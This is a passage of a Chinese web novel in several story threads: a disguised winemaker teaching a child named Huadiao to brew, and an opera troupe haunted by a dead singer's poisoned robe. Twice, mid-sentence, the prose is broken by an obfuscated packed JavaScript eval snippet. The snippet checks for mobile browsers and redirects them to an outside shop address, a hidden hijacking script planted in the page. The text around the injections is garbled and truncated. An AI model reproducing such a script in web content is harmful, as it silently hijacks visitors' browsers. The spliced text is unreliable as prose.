他倒是对花雕没有什么好隐瞒的,反正他的这一身手艺,也是他偷来的。 他一个人惯了,也不想融入谁的生活,也走不进任何人的世界,况且他的身后,还有无数双觊觎的眼睛。 但他是真的真的想收花雕为徒,毕竟相识一场,到头来他会远去,而她也会回归自己的生活,总要留点什么当做念想,他只会酿酒,而她也需要有个谋生的手段。 “狮虎,什么是酒啊?”花雕仰着小脑袋,问站在一边高出她一大截的慕卿。 “喝的,就像水啊,但是又比水多点东西,像汤,里面却什么都没有。” 这种说法,也不知道她听不听得懂。 花雕似懂非懂地点点头,又摇了摇头。 沉默了许久许久,花雕喃喃道了句:“是和娘亲给小花喝的红糖水一样的吗,也是甜甜的吗?” 慕卿觉得自己想多了,一个连酒是什么都不知道的女孩子,自己还想妄图让她学会酿酒…… 花雕像只欢快的小鸟一般,在慕卿身边蹦来蹦去,看着他弄这弄那,觉得前所未有的新奇。 原料选的是冬种春收的新鲜麦子,天刚蒙蒙亮山下的郑伯就扛了粮食送上来,看老人家一把年纪,背着一袋子沉甸甸的谷物,慕卿有些于心不忍,赶忙接过他手里的重物:“郑伯,我来。” “唉,慕姑娘一个人也不容易。” 慕姑娘……慕卿听了一愣,半天才缓过神来,却也没有再说什么,但还是稳稳当当地把那袋麦子驮到背上。 一个大男人身着女装,从最初的一无所知到后来的逐渐适应,连他自己都快忘了他现在扮演着的角色是个柔弱女子。可小花雕的出现,又让他清楚地明白自己现在的真实身份。 蒸粮、拌曲、发酵、蒸馏、装坛……剩下的交给时间去检验。 忙了大半个月,再加上花雕在一旁添油加醋,总算收获了小几坛子酒。 慕卿刚想歇歇脚,就看到花雕抱着他的酒坛子瞅着,情况相当不妙,赶忙冲过去把她扒下来:“不许喝!” 他不能保证要是他不阻止的话,这个小馋猫又会不会一脑袋扎进酒坛子里。 “咦,酒酿出来不就是让我们喝的吗?”花雕朝他眨着眸子,很是不解。 慕卿把她手里的那坛子酒放上架子,摸了摸她的头,道:“你还小。” “还小”真的是一句极佳的用来敷衍的话,大人们用它来堵截了孩子所有的好奇心和求知欲,也让他们远离了各种未知的危险。 “想喝。”花雕并不放弃,用小爪子扯了扯他的衣襟,撒娇道,眸子里装着满满的期待,望向他。 慕卿拗不过她,微微地叹了口气,跟她拉勾,说是只要花雕不动酒坛子,第二天会有惊喜给她。 花雕当然选择相信他,把眼前的好奇都抛在脑后,专心地等待着他即将到来的惊喜,从第二天的日出等到第二天日暮,就在她抱着腿坐在门槛上昏昏欲睡时,慕卿从酒坊里端出来一碗热腾腾的米酒。 香甜软糯的小汤圆,里面还有些许被打散的蛋花,让人微醺的酒香肆意地飘荡开来,花雕被馋得吸了吸鼻子。 三下五除二地一饮而尽,末了,还眼巴巴地望着慕卿:“磨精,我还想喝。”< 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第三天,花雕一瘸一拐地端出来碗闻着酸不拉几的“汤”,上面还漂浮着一条条黏成串的糯米汤圆……慕卿欲哭无泪,只是看着碗里漂浮的白色物体,联想到春日里白白胖胖的桑蚕,顿时食欲全无。 花雕看了看师父嫌弃的眼神,坐在地上,瘪了嘴,她知道自己做得不好,可也不知道是哪里不对,总差了那么一点。 慕卿看着她满脸愁云的小脸蛋,嘴角扬起了一个自己都没察觉到的浅笑。 他的这个徒弟啊,除了能吃能睡爱哭闹以外,啥都不会。 算了,毕竟只是个五岁大小的孩子,来日方长,慕卿这样安慰着自己。 他没有发现,自己越来越关注身边的这个女孩子了,从适应她的存在,到关心她生活中的一点一滴,到最后,她的一颦一笑,都会牵动着他的心。 花雕伤了腿,也不能到处跑了,慕卿给她搬了凳子,把她放在小院的一角,晒着太阳。 春意渐浓,阳光熏得人暖暖的,花雕早就从椅子上爬到了草地上,抓些蹦蹦跳跳的蚂蚱抓得累了,此时正淌着哈喇子,躺在芳草落樱里会见周公。慕卿见了,摇摇头,把她抱进了屋里,放至榻上,罢了还替她盖好被子。 这大概就是羁绊吧,慕卿看着她的睡颜,这样想着,真是一种可怕的东西,将熟悉的甚至不熟悉的人与事物联系起来,再也分不开。 从前,酿酒,品酒,藏酒,便是慕卿的日常。 今后,他的日常里,加上了“花雕”两个字。曾经,花雕是他的酒,现在,亦是他生命中重要的一部分。 每每有大户人家生了女儿,总会请些上好的酿酒师和匠人,做些纹饰精美的酒坛,装上佳酿,埋入地下。待到女儿出嫁的那一天,再将酒从地下挖上来,款待宾客,这种酒,便是花雕。 寓意吉祥、美好,满载着希冀。 慕卿作为酿酒师,也参加过这样的宴席,一坛酒,蕴含了父母对孩子最大的期盼,慕卿看着孩子爹娘的笑靥,心弦似是被春风撩拨着。 他不是目空一切,也不是冷淡漠然,人心都是肉长的,看到了美好的景象,心中难免会有一些触动,只是有些事情他身不由己,不敢期许太多。 他遇到的这个小花,刚好姓花,他蓦地想起那种酒,就给她取名叫花雕。 8. 戏子入画满临初3 世人皆言,戏子无情,说的就是柳源戏班里的这一群人。 他们演尽悲欢离合,哭遍凄惨悲痛,也看淡了人情冷暖,更懂得了人如草芥、命如蝼蚁,你与我于他,不过是苍茫浮生泛海里的一叶扁舟。 面对戏班里突然多出来的小花伶,大家慢慢地从无视走向关怀。 一来花伶是沈佳期亲自挑选的人儿,有他撑腰,大家也要让这个小丫头片子几分薄面。二来花伶毫不认生,没事就扎在人堆里,给这个哥哥捏捏肩,给那个叔叔踩踩背,亦或是帮何婶晾晒洗好了的衣服,整一个戏班里的小陀螺,围绕众人转个不停。 这世上的聪明都是容易被讨好的,尤其是人心。 见她在练着新学的把式,路过的大家总会去指导一番,给她拉拉胳膊、拽拽腿地调整下姿势,扶扶钗子、整整衣襟地整理下仪容,花伶颇具慧根,加上众人的悉心指导,自然学得也快。 叶童舟没事就坐在院子里的柳树下,看着花伶在人群里蹦跶,偶尔也看到她认真自觉地在院子里扎着马步,那样子,像极了自己初来乍到时的模样,不由得别过头去,粲然一笑。 寻常,叶童舟总觉得自己闲不下来,为唱好一出戏忙里忙外。可真正得空以后,仔细盘点大家的生活,除了唱戏,真的就别无其他,单一至极。 一入梨园深似海,一天是梨园中人,一辈子都是梨园中人,这便是宿命。望着懵懂的小花伶,叶童舟苦笑,也不知沈佳期把这个小鬼拉上这条道,究竟是好是坏。 春光晒在人身上暖暖的,花伶正在院子里比划着拳脚,叶童舟依旧搬了板凳,坐在院子里的那棵柳树下,看着春风拂过的柳梢,不远处那个小小的身影雀跃在阳光下。 叶童舟恢复伤势的这段日子里,花伶每天跟屁虫似的守在他身边,给他喂饭喂药,像个贤良淑德的小媳妇。 约莫过去已有一周,手掌上的新肉渐渐长了出来,刺得皮肤痒痒的,叶童舟没按耐住,便拆了纱布去抓伤口。 不偏不倚,这一幕被不远处的花伶看到,她立马停下手中的动作,像个小大人一样,板着脸给他把纱布缠回去。 “快好了,别手贱又给弄伤了,你给我乖乖地包着。”花伶不由分说地,小爪子抓过叶童舟的手,小心翼翼地给他缠绕着纱布,嘱咐了句。 叶童舟不语,只是瞧着眼前人的一袭月白长衫,衣裳是何婶连夜改的。人靠衣装,这样瞧着,果真是人比花娇,俏皮灵动,连身后的春花都黯淡了几分。 看着她双手叉腰气呼呼的模样,叶童舟想说些什么,最后还是蔫蔫地伸回了脖子。好像跟这个小丫头争吵,显得自己很没有风度?而且这个乳臭未干的小毛孩,并不会讲道理,也有点偏执,要干的事情总会全心全意埋在里面,他争不过。 时间如白驹过隙,一路四平八稳惊不起任何波澜,周员外大寿后,柳源戏班又接了桩大生意,不过这跟叶童舟和小花伶并没有太大的干系。那桩生意以后,柳源戏班又租了另一个四合院,安置了下来。 戏班里的人没事就会在沈佳期的安排下,接些勾栏里的活,以此来维持日常开销。两个小娃娃没事也跟在一起凑热闹,师兄们在上面唱着,花伶在下面目不转睛地看着,生怕遗漏掉任何一个小细节。 沈佳期早些时候还特地给叶童舟请了个大夫,那个大夫年纪轻轻,比叶童舟年长不了多少,见叶童舟天天问着什么时候可以拆掉纱布,打趣地问他:“怎么,这是要急着给哪家的达官贵人唱戏去,好平步青云是吧?” 这话不假,要是哪家的老爷公子看中了哪个戏子,那戏子必然是风光八面的,就连戏班,也会沾了光彩,可柳源戏班几十年来,就出过一个这样的人。 后来这个人成为了全戏班的禁忌,大家都对有关他的话题闭口不谈,如畏惧魑魅魍魉般。 真正拆掉纱布的那天,叶童舟穿了一身艳丽的戏服,脸上涂满了油彩和胭脂,站在门口痴痴地等待着花伶归来。那模样,像极了一尊门前历经风吹雨打的石像。 他很久没有唱戏了,恢复后的第一嗓子,想唱给花伶听。 彼时花伶正和沈佳期一起出门采购未来几天的食材。 隔得老远,叶童舟就看见花伶小心翼翼地拎着半篮子鸡蛋半步半步地走着,被沈佳期落下好远,大概是怕一不留神摔了。他想去帮忙,又怕给她的惊喜落空。 直至走到门口,叶童舟见她手中拎的篮子里还放着个用薄纸包裹住的糖人。 可花伶愣是没认出在门口杵成木桩子的叶童舟,更没有捕捉到擦肩而过的那一瞬,少年眸中尽是失落。 见自己被无视了,叶童舟执着地尾随了一路,直到花伶最后嘀咕出“童童哥哥今天去哪里了”,才赫然转身,发现身后跟着的人,跟叶童舟身形相似。 “是我,你个没良心的小丫头。”叶童舟看她的目光望向自己,胡乱地抹了把脸上的油彩,想让花伶看清楚自己的真实模样,顿时他的脸像调色盘一样,被五颜六色的油彩糊得花成一片。 “嘻嘻嘻。”花伶觉得有些尴尬,又偷偷去看他面前的那一双正在乱糊的手,两只爪子五彩斑斓的。 真好,能大幅度地动了,看来手上的伤已经恢复得差不多了。 第二天,叶童舟挨个磨戏班里之前在周员外家唱《西厢记诸宫调》的那班人,说是勾栏里有家有钱的少爷摆了场子。叶童舟语气中满满的期待,想让他们跟自己同台。 不过叶童舟心里知道,挣不挣钱倒是次要,主要是他想哄花伶开心。 有句老话说,不是冤家不聚头,叶童舟觉得,花伶就是他的欢喜冤家。本来是一个处处让自己难堪的臭丫头,却偏偏让他上了心,不凭别的,就是想多看看她那没心没肺的笑。 他的这个小请求终究是被应允了。 叶童舟开心得不得了。第二天天刚亮,叶童舟就把花伶从睡梦中叫了起来,帮着师兄弟们着收拾这呀那呀,然后趁着她眼睛都没睁开,把她带到了勾栏。 师兄师叔们早早地把行头搬了过来,此时正在幕后准备着精细的妆容。虽未开唱,描眉画眼,红唇花面,捻指抚眉间,就已经风情万千。 前不久在周员外家出演的是整场《西厢记诸宫调》,而今天,独独只出演《小亭送别》这个片段。 书生张珙上朝应试赶考,偶救为亡父追荐的相国千金崔莺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14598150|156000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莺,二人一见钟情。虽然崔莺莺已有婚约在身,但张珙不畏强权,勇斗崔母,终一举及第,衣锦荣归,与崔莺莺有情人终成眷属。 那崔母嫌弃张珙又穷又没势力,发现二人私情后,逼迫张珙上京赶考,并说下不取得功名就不能与崔莺莺相聚的狠话,不得已,一对苦命鸳鸯被活生生拆散,《小亭送别》正是这个片段。 “蟾宫客,赴帝阙,相送临郊野。恰俺与莺莺,鸳帏暂相守,被功名使人离缺。好缘业!空悒怏,频嗟叹,不忍轻离别。早是恁凄凄凉凉,受烦恼,那堪值暮秋时节!雨儿乍歇,向晚风如漂冽,那闻着衰柳蝉鸣凄切!未知今日别后何时重见也,衫袖上盈盈,揾泪不绝。幽恨眉峰暗结。好难割舍,便纵有千种风情何处说?” 那张生是一个比叶童舟大不了几岁的师兄,举手投足之间尽是一副儒雅斯文的模样,眉宇中满含凄楚悲怆,让台下不少观众咂舌了一番。可下一秒,就变了风格:“莫道男儿心如铁,君不见满川红叶,尽是离人眼中血!” 化悲愤为气宇磅礴,却又是无可奈何,全身心融入张生这个角色中,似是剧中人,期待下次与崔莺莺的相遇。 有时候太用心,演着演着就分不清虚实,有时候看着看着,就分不清台下人哭的是自己还是剧中人的遭遇。 那是花伶第一次看到叶童舟上台,他扮演的崔莺莺水袖飞扬,眉盼生情,丝毫不输给班里的其他人。 和那个淘气鬼不同,那时候的他,眉宇中更多的是坚毅,少了一分玩世不恭。 “弃置今何道,当时且自亲。还将旧来意,怜取眼前人。” 花伶看不懂这个故事,可是也隐隐约约地感受到了心中的悲伤,眼泪顺着小脸蛋簌簌往下流着,哭得鼻涕眼泪乱作一团。 叶童舟刚下台,本来想找花伶炫耀一番,可面前的人一把眼泪一把鼻涕,稀里哗啦地哭个不停。叶童舟慌乱地拿起手巾在她脸上胡抹一气,以为她是又闯了什么祸,被沈佳期还是劳班主训斥了。 花伶接过他的手巾,擦了擦眼泪,朝他大大咧咧地笑:“童童哥哥,我没事,你唱得真好。” “都是师父教得好。”叶童舟听到自己被表扬了,心里跟吃了蜜一样甜。 说到学艺,花伶真正意义上的师父是沈佳期和劳班主,尽管才屁大点儿的人,就已经跟在他们后面摸爬滚打了,没事咿呀哼两嗓子,虽然词都还没记全。 但沈佳期和班主多半时间都有要事缠身。劳章驰是掌管全班生存的一班之主,多是在外和一些大商大贾谈着生意;沈佳期是班里的管事,管理班里大小的事物,茶米油盐,事无巨细。 所以在两位师父教授诀窍以后,每个人还有一个陪练的人儿。 班主把花伶分给了叶童舟,闲来无事的时候,让他指导花伶,两人就在一起,讨论问题,吃吃喝喝,日子过得倒也飞快。 花伶年纪虽小,但脑子机灵,反应很快。说是课余之外跟着叶童舟学习,可要不是叶童舟比她早来了一些时日,台词背得熟稔些许,孰高孰低还真是难以分辨。 日子这样过着,倒也平静如水,直至一件凭空出现的旧戏服打破了柳源戏班往日的宁静。 9. 戏子入画满临初4 花伶年纪小,沈佳期怕她一个人住害怕,就让她和何婶住在一起。何婶独自操持着全戏班的琐事,每天有很多活要干,经常很晚才回房就寝,每每入夜,花伶总是早早地一个人先回去。 这天,花伶独自像往常一样回到房间。屋里烛火通明,她以为何婶已经回来了,叫了几声“婶婶”,却无人应她,只有微风摇曳着烛火,拂动着青纱薄帐,透着些许的诡异。 花伶走近了才发现,屋内并无一人。 仔细看却又有什么不同。桌子上整齐地叠放着一袭青衣,衣上没有半点褶皱,面料有些发白。那衣物尺寸偏大,显然不是婶婶给她做的新衣,花伶在脑海里很认真地搜寻了一番,却怎么也想不起这是谁的衣服。 思索无果,花伶纳闷,这个款式怎么从来没有看见有人穿过,它为什么会被放在这里? 抱着一丝好奇,花伶抖开了这件衣服。它外表上看起来并无异常,浓郁的天青色,像蕴着一片烟雨,衣服的领口处,有人用细线缝补起一处残破,娴熟地勾勒出一朵小小的白花,显然是出自一个女子的手笔。 那朵白花与衣服的浑厚融成一体,像是自春雨中氤氲而生。此外,衣服上还有其他几个大大小小的破洞,却未被缝补起来。 “啊!”何婶料理完戏班里的诸多事物,推门而入,却看见花伶正拿着一件青衣,歪着小脑袋端详着,烛光下的她,半边阴翳半边明。 这一声尖叫划过黑夜,像是春日里的一声惊雷,使戏班里原本安静的人们躁动了起来。 花伶不解地回过头去,只见何婶跌坐在地上,满脸惊恐地指着那件衣服,脸上的表情扭曲狰狞:“青……青衣……是他,他的青衣。” 最先闻声赶来的是沈佳期,一看到花伶手中的青衣,顿时眉头深锁,怒斥了句:“谁拿来的!” 叶童舟穿好衣服赶到门口时,房间已经被堵得水泄不通。和想象中的喧闹不同,所有人屏息凝神,大气都不敢出一声。 叶童舟不解,等他瘦弱的身躯从人群中挤到最前面,看到花伶手中的东西,脸色瞬间变得煞白,声如蚊呐地嘀咕了一句:“徐贵人……” 这一声嘀咕打破了寂静,传入花伶耳中。 此情此景,花伶觉得自己仿佛犯了一个天大的错误,但同时又是一脸懵逼地望向叶童舟:“那是谁?” “徐贵,两年前戏班里的一个青衣,那时候你还不在。”叶童舟好像在沉思着什么,并没有回答她,倒是沈佳期插了句。 青衣是戏剧里最具有天赋的女性角色,扮演的是戏剧中的青年女子。如花的年纪,如清晨初露,使得她们扮相最美,身段最美,伴以华美的唱腔,赋以青衣独特的魅力,不少伶人都以能够唱好青衣为荣。 “收起来,散了吧,别看了,他虽然是你最得意的徒弟,可走了就是走了,有些东西失去了就是失去了,再也回不来了。”劳班主一手接过那件青衣,随意地丢在桌上,另一手拍了拍沈佳期的肩,遣散了众人。 只有叶童舟,毫不死心地投以期待的目光,向花伶追问:“哪来的呀?” 花伶摆了摆脑袋,用同样是不解的目光回望。 “曾经啊,我们班所有的青衣穿的都是青色的衣服,后来那个人走了,班主下了命令,不允许这种颜色的衣服再出现在戏班。”人群渐渐散去,叶童舟感慨道。 花伶仔细回想了一下,戏班里的大家穿的都是五颜六色姹紫嫣红的颜色,真的没有青色衣服。 “那后来呢,徐贵人他去了哪里?”花伶仰着小脸,不知怎的竟然对这个徐贵有些好奇。 夜渐深,叶童舟有些乏了,也懒得将故事始末悉数道来。这件事从头到尾花伶都未参与进来,一个局外人没必要知道那么多,好奇会害死猫。 “都是上一辈的恩怨了,你也别想太多。早点睡吧,晚安,小花伶。”叶童舟并没有回答她,只是留下一个意味深长的背影,消失在了寂夜无声中。 徐贵人的事像是在花伶心中埋下了一颗小小的种子,那颗小小的顽强的种子破土而出,开始生根发芽,刺在她心上痒痒的,始终都睡不着。 花伶拱着被子,爬过来,爬过去,弄得床板“吱呀吱呀”地响。 “花丫头,你怎么还不睡啊?”何婶看到她这副模样,过去给她抻了抻被子,又把花伶四平八稳地摆好,把她的手脚都拢进被子免得着凉。 “婶婶,我在想刚才的事,那个徐贵人到底是谁,为什么大家都一副很怕他的样子?” “唉……”何婶的一声叹息,仿若来自地狱的鬼魅,无形无影中将人拉入绝望的深渊。 烛影摇曳,何婶正在灯下缝补着那件青衣,一针一线,小心翼翼。 也不知道她说的是衣服还是什么:“好好的,怎么说糟蹋了就糟蹋了?可惜呀可惜。” “什么?”花伶不懂,从被子里爬出来,歪着脑袋追问道。 终究是没敌过小花伶的好奇心,何婶将徐贵人的事情娓娓道来。 “那徐贵,和你一样,都是沈佳期的徒弟。” 徐贵出身不好,家境贫困潦倒,他家里人终究是没有办法再支撑这一口粮了,迫不得已把他送来了戏班,所以他和戏班里大多数被捡回来的孤儿并不一样,他是有家有口的。 那徐贵六岁入了戏班,天资异禀,十五岁就成为柳源戏班青衣唱得最好的人儿,后来娶了妻子,夫妻伉俪情深,恩爱幸福,可以说是半生美满。 “青衣是什么?那是很厉害的人吗?”花伶嫌热,把手从被子里伸出来,没一会儿,又把脚从被子里伸出来。 “是啊!青衣是戏剧里面最难演绎的人,可他却做到了。” “哇,好棒好棒,那小花伶以后也要做青衣。” “傻孩子,青衣哪有那么好做的!你还小,个子不够是做不了青衣的,快点长大吧,等长大了,你一定会是我们戏班最好的青衣。”何婶摸了摸花伶毛茸茸的小脑袋,目光中满含期待,又把她的手脚都塞回了被子里。 何婶知道,花伶是柳源戏班唯一唱戏的女孩子,又正是学东西的好年纪,用不了多久,她定能拿捏好青衣这类角色。要说是能把女子演得声情并茂,一个戏台上的女子不会输给任何人。 “可是你知道吗?徐贵人最后虽然出了名,为什么却也没有一个好下场?” 花伶摇了摇脑袋。 “他背叛了整个柳源戏班。因为唱戏唱得好,他颇得一些达官贵人的赏识,背后有一些政治势力。” “柳源戏班的三条班规都是因为他,不许夜不回班,不许伤及同门,不许在外接私活。他仗着自己有些本事,和戏班里心术不正的人拉帮结派,把戏班弄得乌烟瘴气,四分五散。劳班主气不过,扬言要把他逐出师门,哪知第二天一早,却发现他寻短见,自挂了东南枝。” “有时候你会觉得劳班主沈管事他们心狠,这不怪他们,不厉害点怎么制得住这个班里的所有人。其实呐,这世上最大的阴谋啊,不过都是人心的恶念……” 何婶自顾自讲着,却没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仵作尸检很快有了新进展,劳班主死于子时,也就是在发现那件青衣后的一两个时辰里。不少住在劳班主附近的人纷纷说,班主死之前,还听他在唱戏。 一说起青衣,有人想起了那件凭空出现的旧戏服,还有人忆起班主晚上唱的是《梨园春》,更有人想起,两年前徐贵死的时候,也是和班主一样的惨状,众人不禁毛骨悚然。 思绪纷纭,便开始有人口不择言:“再过几日便是他的忌日,可别是徐贵死得不明不白,回来报仇了。” 方喻很快被排除了嫌疑,劳班主批评他以后,他心情不佳,很快便入睡了,就连那件青衣出来的时候,他都没有出来看一眼,这点戏班里很多人都可以作证。 当官差们将矛头指向何婶时,花伶当机立断跳了出来:“不是婶婶,婶婶晚上的时候在给花伶讲故事呢。” “什么故事?”童言无忌,说的话更可信,官差们不错过半丝半缕的线索,继续追问道。 “徐贵人的故事,婶婶说了,徐贵人是很厉害的青衣,咱们耿安,就这一个呢。”花伶如实答道。 “青衣?”官差显然不是个戏痴,对这个名词不太理解。 同样傻傻分不清的还有花伶:“是啊是啊,那件衣服还在我们房间里呢,本来上面有破洞的,婶婶昨天晚上给补好了。” 花伶一说完,迈着双腿就回了屋,捧宝似的把衣服递给了官差头头。 仿佛她捧着的不是件反复缝补的旧衣物,而是一个传奇人物辉煌璀璨的一生。 10. 戏子入画满临初5 那官差头头姓郝,当了十几年的捕头,断案如神,经他手定夺下的奇案险案不计其数。 郝捕头把戏服抖开,认真查看了一圈,并未发现有何不妥,吩咐人拿个布袋子把它装起来当做物证。 这样说来,何婶也排除了嫌疑。随后官差们将戏班里的人逐一盘问,却没有得到任何有用的线索,见案子陷入僵局,便先回了衙门。 令人意外的是,第二天衙门里传来郝捕头去世的消息。他被发现的时候已经断了气,胸口还插着一把刀,脸上的表情欣慰且安详。 案发现场没有其他人的痕迹,门窗也是完好无损,除了衣襟和身下的血渍,没有任何其他异样。 劳班主的尸体才刚凉透,衙门里就出了这样的事,说这两者之间没有关系,很多人是不信的,这让人更加断定,凶手就藏在柳源戏班。 谋杀地方官差,罪加一等,这件案子被重新定义。官兵们封锁了柳源戏班,派专人全天看守,连沈佳期出去采购,都有官兵尾随。 “你们,你们为什么要害他,他哪里得罪了你们?他不过就是个奉命办事的,你们为什么连他都不放过,你们都不得好死!”沈佳期前脚刚迈进门,就听到身后有人声嘶力竭地喊着,也懒得回头看,听这语气,来人是那位死去捕头的家属。 有官兵拉走了郝夫人,道了句:“夫人节哀。” 花伶害怕那门口撒泼的妇人把气撒到自己头上,把拎着的一篮子青菜往手边靠了靠,低着头加快脚步进了屋。 沈佳期又在记账,花伶在旁边看他写着一些数字和符号,小脸上布满了疑惑。花伶生在乡村,家境也贫寒,根本没有机会读书习字,是来戏班以后才开始跟着般若一起学习,账本上是二三十个人的开支,数字大到惊心动魄,不是她能算清的。 “师父,花伶就想好好地唱个戏,为什么事情会变成这个样子?”花伶想不通,便问沈佳期,带着满眼的失落。 沈佳期哪里有心情和她闲聊?接二连三有人死去,整个戏班被暂停公开出演,没有了收入来源,只得坐吃山空。作为代班主,他忙得焦头烂额:“我也不知道,劳班主走后,我头都大了,花伶你会不会算账?你帮我看看这个账目对不对。” 迎上的却是花伶一无所知的黑溜溜的眸。 般若在一旁摇了摇头,师父真是忙昏了头,花儿她才这么小,字都识不全,于是接过沈佳期手中的账本,道了句:“师父我来。” 无暇顾及整件事的是沈佳期,一无所知的是花伶,除了这两人外,恐怖和猜疑弥漫在整个戏班里。 郝捕头的验尸结果很快出来了,那柄刀是他随身携带护身用的,伤口右浅左深,向左延伸,证明凶手是个左撇子。 恰好,郝捕快也是个左撇子,仵作联想了案发现场的情况,得出一条结论——他极有可能是自杀的。 “不可能,不可能,他有什么想不开的?”郝夫人一脸不可置信跌坐在地上。 “那夫人你再想想,大人回家的时候,可有什么异常?” “那天晚上他回家后发了一顿脾气,赶走了身边所有的人,也不知是为何事。我见他气在头上,也没敢太打扰他。”郝夫人哭哭啼啼,也没说出个一二三四来。 府里值夜的小厮都说,那晚后来没人进过郝捕头的房间。线索又断了,死亡的气息弥漫着,谁都不想成为下一个死去的人。 可偏偏蹊跷的事情又发生了,子时,本来两个奉命办事的守卫正在柳源戏班值夜,却听见院墙之外有声音。 是戏腔,那声音空灵飘渺,似远似近,若隐若现。 寒风冷冷地刮着,门外灯火下的一棵柳树轻轻摇曳着,墙外幽怨的唱戏声更显得瘆人,吓得两个守卫屁滚尿流地离开了。没过多久,柳源戏班所住的四合院闹鬼一事流传开来。 有对戏曲熟悉的人听了,更是吓出一身冷汗:“《梨园春》!是徐贵人!他死不瞑目,向咱们寻仇来了!” 《梨园春》是徐贵的成名曲,是他自己琢磨出来的,当时一出,便轰动整个梨园。 郝捕头走了,衙门也乱成一锅粥,继任者不太乐意去碰这种“不干净”的案子,只将这桩案子当做灵异奇诡的闹鬼案草草结案,这种官方的说辞弄得柳源戏班更加人心惶惶。徐贵当年就是自缢,劳章驰也是被吊死的,一切都太相似了,还有这曲《梨园春》,将往事的伤疤血淋淋地揭开来。 半夜的唱戏声并没有随着案件的搁置而告一段落。 四合院东边有个废弃已久的闲置小屋,当初沈佳期觉得太偏僻了也没让人收拾一番,更没有人住,每晚的唱戏声就是从那里传来的。 那声音如泣如诉,哀怨纠缠,准时地在子时响起,戏班里的大多数人处在极度的担惊受怕中,也不敢去一探究竟。 只有花伶好奇。在某个夜的子时,那个声音又如期响起,花伶穿了件白衣服,黑发垂髫,赤着小脚,如鬼魅般,悄无声息地,推门而入,探着脑袋问了句:“徐贵师兄你有什么遗愿未了吗?花伶也许可以帮你实现。” 大门嘎吱一声,戏音戛然而止,显然屋内那人吓了一跳,随即提着戏服跳窗,落荒而逃。 窗外是错落分布的道路,花伶只是看着窗沿边的树叶,在朦胧月色中摇晃了几下。 “师父,我昨天看到了,那个空屋子里面有人,他穿着一身青色的衣服,在唱小曲儿呢。”一大早,花伶就揉着惺忪的睡眼,在沈佳期跟前“告状”。 “别是梦魇了,可怜的孩子。这是叔叔哥哥们的事情,跟你没有关系的,你别怕哈。”般若一边拨弄着算盘,一边安慰着小花伶。 “是真的,师父我真的看见了。”花伶以为是般若师兄不相信自己说的,眼中泛着盈盈泪光,小脸满含委屈道。 沈佳期气得把账本摔在桌台上,“大晚上的,不好好睡觉,乱跑什么!” 他是担心她的,本来最近戏班里就已经够乱了,花伶那么小,都没有什么自卫的能力,万一出了事怎么办? 那咿咿呀呀的唱戏声并没有停止,第二天夜深人静的时候,又如期响起。 沈佳期长叹了一口气,推门而入,其实他心中早有了大概,只是不知道怎么面对,当年徐贵死去,他也是痛惜的,一个难得的妙人就那么陨落了。 门内亭亭而立的青衣扮相不是一个乔装后的男子,而是一个真真切切的女子。 “果然是你!” 那浓妆艳抹的女子见了沈佳期,并不害怕,倒是嘴角扯出深深的笑意,也不应他,只是这样呆立着,一双空洞的眸望向沈佳期,月光把她的眉眼和妆容衬得越发狰狞。 “两年不见,近来一切可安好?”沈佳期仿佛面对着一个老朋友,跟那人寒暄起来。 “好?你也配说好?一个杀人凶手,怎么心安理得地睡着觉,你不怕他夜半来向你索命吗?” 对面的人是徐贵的妻子。沈佳期不信鬼神,《梨园春》唱响的那一天,他就猜到了这个人是红柳。 “你有仇应当找我来报,何必殃及劳班主?还有郝捕头,你害怕他破案,自己被当做杀人犯抓起来,所以连他也一起下了手?” 红柳仰天大笑:“劳章驰和那官差都不是我杀的,我一介女子,手无缚鸡之力,怎么斗得过他们?要怪,只能怪他们手欠,谁让他们要去触碰那件青衣的。” “你说的是那件戏服?”沈佳期早就猜到了那件戏服的作用不仅仅是勾起陈年往事那么简单,没想到还暗藏这层玄机。 “哈哈哈哈,你是不是想问我,你们家小丫头也碰了,她怎么没事?不仅如此,沈佳期我告诉你,我也碰了,那毒就是我下进去的,听说过‘相思缺’吗?” 红柳一番话,让沈佳期心中已经有了大概,“相思缺”有毒不假,这个毒也只针对于男性,寻常女子碰了,并无大碍。接触了相思缺的人,会被自己这辈子最在意的东西所困,因此患癔症而神志不清,最终自杀。 劳班主显然没有放下徐贵的死,徐贵的事情在他心里拧成了一股绳,最终他绞死了自己;郝捕头一生都在惩恶除奸,他生命的最后时光里,他都在和歹徒搏斗,只是他不知道,那歹徒是他自己幻想而成的。 “所以他们都是自杀的,你倒是现在报官啊,说我给他们下了毒,反正我都无所谓了,九泉之下,徐贵他不会寂寞的。” 徐贵走后,柳源戏班给了徐家一大笔钱。徐母心疼独子,悲痛身亡,徐父不久后也病逝。 红柳重情重义,一直照顾二老,没有再嫁,她并无子嗣。二老走后,她孑然一身,终日以泪洗面,靠着柳源戏班的那笔抚恤金度日。两年来,红柳苦练《梨园春》,为的就是复仇。 可劳班主死的那一天,她没有一种大仇得报的感觉,相反地,像现在这样,把大家都放置在一个担惊受怕的氛围里,更让她打心底里觉得痛快。 劳班主死了,郝捕头也死了。如果把红柳抓去报官,就能给因丧夫之痛肝肠寸断的郝夫人一个交代,就能告慰班主的在天之灵。 可这样的结果,也不是沈佳期想看到的,那红柳也是个失去丈夫失去亲人的可怜人,如果徐贵没有死,他们夫妻二人仍然琴瑟和鸣,赌书泼茶,就像戏文里的神仙眷侣般。 可徐贵死了,沈佳期不想再搭进去一个无依无靠的可怜女人,一个满心只剩下复仇的孤苦遗孀。 